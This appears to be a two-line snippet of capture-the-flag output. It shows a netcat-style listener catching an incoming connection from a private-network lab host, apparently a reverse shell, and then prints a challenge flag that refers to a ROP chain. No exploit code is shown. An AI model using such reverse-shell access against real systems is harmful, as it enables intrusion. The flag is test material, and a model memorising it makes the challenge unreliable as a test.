connect to [192.168.80.157] from (UNKNOWN) [192.168.80.158] 59518
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}